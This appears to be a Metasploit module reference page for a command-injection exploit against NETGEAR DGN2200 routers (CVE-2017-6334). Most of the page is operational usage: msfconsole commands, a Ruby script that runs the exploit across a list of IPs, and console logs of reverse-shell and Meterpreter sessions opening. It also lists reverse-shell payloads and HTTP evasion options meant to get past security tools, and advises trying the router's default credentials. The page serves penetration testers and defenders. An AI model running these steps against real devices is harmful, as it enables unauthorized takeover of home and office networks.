Netgear DGN2200 dnslookup.cgi Command Injection - Metasploit
This page contains detailed information about how to use the exploit/linux/http/netgear_dnslookup_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Netgear DGN2200 dnslookup.cgi Command Injection
Module: exploit/linux/http/netgear_dnslookup_cmd_exec
Source code: modules/exploits/linux/http/netgear_dnslookup_cmd_exec.rb
Disclosure date: 2017-02-25
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-6334
This module exploits a command injection vulnerablity in NETGEAR DGN2200v1/v2/v3/v4 routers by sending a specially crafted post request with valid login details.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using netgear_dnslookup_cmd_exec against a single host
Normally, you can use exploit/linux/http/netgear_dnslookup_cmd_exec this way:
msf > use exploit/linux/http/netgear_dnslookup_cmd_exec
msf exploit(netgear_dnslookup_cmd_exec) > show targets
... a list of targets ...
msf exploit(netgear_dnslookup_cmd_exec) > set TARGET target-id
msf exploit(netgear_dnslookup_cmd_exec) > show options
... show and set options ...
msf exploit(netgear_dnslookup_cmd_exec) > exploit
Using netgear_dnslookup_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your netgear_dnslookup_cmd_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/netgear_dnslookup_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
NETGEAR DGN2200v1, DGN2200v2, DGN2200v3, DGN2200v4 routers
Verification Steps
- start
msfconsole use exploit/linux/http/netger_dnslookup_cmd_execset RHOST 192.168.1.1<--- Router IPset USERNAME xxxx(see here)set PASSWORD xxxx(see here)set PAYLOAD cmd/unix/reverse_bashset LHOST 192.168.1.xset LPORT xxxxrun- Get a session
Options
USERNAME
The USERNAME option sets the username to authenticate the request with.
The command injection will not succeed if the username and password are not correct.
The default username for NETGEAR Routers is admin. If you don't know the credentials,
your best bet will be to use the default username and password.
PASSWORD
The PASSWORDoptions sets the password to authenticate the request with.
The command injection will not succeed if the username and password are not correct.
The default password for NETGEAR Routers is password. If you don't know the credentials,
your best bet will be to use the default username and password.
Advanced Options
HOSTNAME
The request is went with a host_name POST parameter. This option sets this parameter.
The default is www.google.com. The reason for the parameter is that the file that this
vulnerability is located in (dnslookup.cgi) actually needs a domain to resolve, or else
the injection won't work.
Scenarios
What it should look like against a vulnerable router.
msf > use exploit/linux/http/netgear_dnslookup_cmd_exec
msf exploit(netgear_dnslookup_cmd_exec) > options
Module options (exploit/linux/http/netgear_dnslookup_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 NETGEAR DDGN2200 Router
msf exploit(netgear_dnslookup_cmd_exec) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf exploit(netgear_dnslookup_cmd_exec) > set USERNAME admin
USERNAME => admin
msf exploit(netgear_dnslookup_cmd_exec) > set PASSWORD password
PASSWORD => password
msf exploit(netgear_dnslookup_cmd_exec) > run
[*] Started reverse TCP double handler on 192.168.1.9:4444
[+] Router is a NETGEAR router (DGN2200v1)
[*] Sending payload...
[*] Command shell session 1 opened (192.168.1.9:4444 -> 192.168.1.9:53352) at 2017-03-02 19:36:47 -0500
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Msfconsole Usage
Here is how the linux/http/netgear_dnslookup_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/netgear_dnslookup_cmd_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show info
Name: Netgear DGN2200 dnslookup.cgi Command Injection
Module: exploit/linux/http/netgear_dnslookup_cmd_exec
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-02-25
Provided by:
thecarterb
SivertPL
Available targets:
Id Name
-- ----
0 NETGEAR DDGN2200 Router
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a command injection vulnerablity in NETGEAR
DGN2200v1/v2/v3/v4 routers by sending a specially crafted post
request with valid login details.
References:
https://www.exploit-db.com/exploits/41459
https://nvd.nist.gov/vuln/detail/CVE-2017-6334
Module Options
This is a complete list of options available in the linux/http/netgear_dnslookup_cmd_exec exploit:
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show options
Module options (exploit/linux/http/netgear_dnslookup_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 NETGEAR DDGN2200 Router
Advanced Options
Here is a complete list of advanced options supported by the linux/http/netgear_dnslookup_cmd_exec exploit:
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show advanced
Module advanced options (exploit/linux/http/netgear_dnslookup_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HOSTNAME www.google.com yes "Hostname" to look up (doesn't really do anything important)
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/netgear_dnslookup_cmd_exec module can exploit:
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 NETGEAR DDGN2200 Router
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/netgear_dnslookup_cmd_exec exploit:
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
21 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
22 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
23 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
24 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
25 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
26 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
27 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
28 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
29 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
30 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
31 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
32 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
33 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
34 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
35 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
36 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
37 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
38 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
39 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
40 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
41 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
42 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
43 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
44 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
45 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
46 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
47 payload/generic/custom normal No Custom Payload
48 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
49 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/netgear_dnslookup_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/netgear_dnslookup_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Error Messages
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection timed out.
Here is a relevant code snippet related to the "Connection timed out." error message:
54:
55: # Requests the login page which tells us the hardware version
56: def check
57: res = send_request_cgi({'uri'=>'/'})
58: if res.nil?
59: fail_with(Failure::Unreachable, 'Connection timed out.')
60: end
61: # Checks for the `WWW-Authenticate` header in the response
62: if res.headers["WWW-Authenticate"]
63: data = res.to_s
64: marker_one = "Basic realm=\"NETGEAR "
Router is not a NETGEAR router
Here is a relevant code snippet related to the "Router is not a NETGEAR router" error message:
71: return CheckCode::Detected
72: else
73: return CheckCode::Safe
74: end
75: else
76: print_error('Router is not a NETGEAR router')
77: return CheckCode::Safe
78: end
79: end
80:
81: def default_credential?
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10505 Merged Pull Request: Add post authentication information in modules
- #8051 Merged Pull Request: Add Netgear DGN2200v1/v2/v3/v4 Command Injection Module
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/netgear_dgn1000b_setup_exec
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_dgn2200b_pppoe_exec
- exploit/linux/http/netgear_r7000_cgibin_exec
- exploit/linux/http/netgear_readynas_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/netgear_wnr2000_rce
- exploit/linux/telnet/netgear_telnetenable
- auxiliary/admin/http/netgear_auth_download
- auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
- auxiliary/admin/http/netgear_r6700_pass_reset
- auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
- auxiliary/admin/http/netgear_soap_password_extractor
- auxiliary/admin/http/netgear_wnr2000_pass_recovery
- auxiliary/gather/netgear_password_disclosure
- auxiliary/scanner/http/netgear_sph200d_traversal
- exploit/windows/http/netgear_nms_rce
Authors
- thecarterb
- SivertPL
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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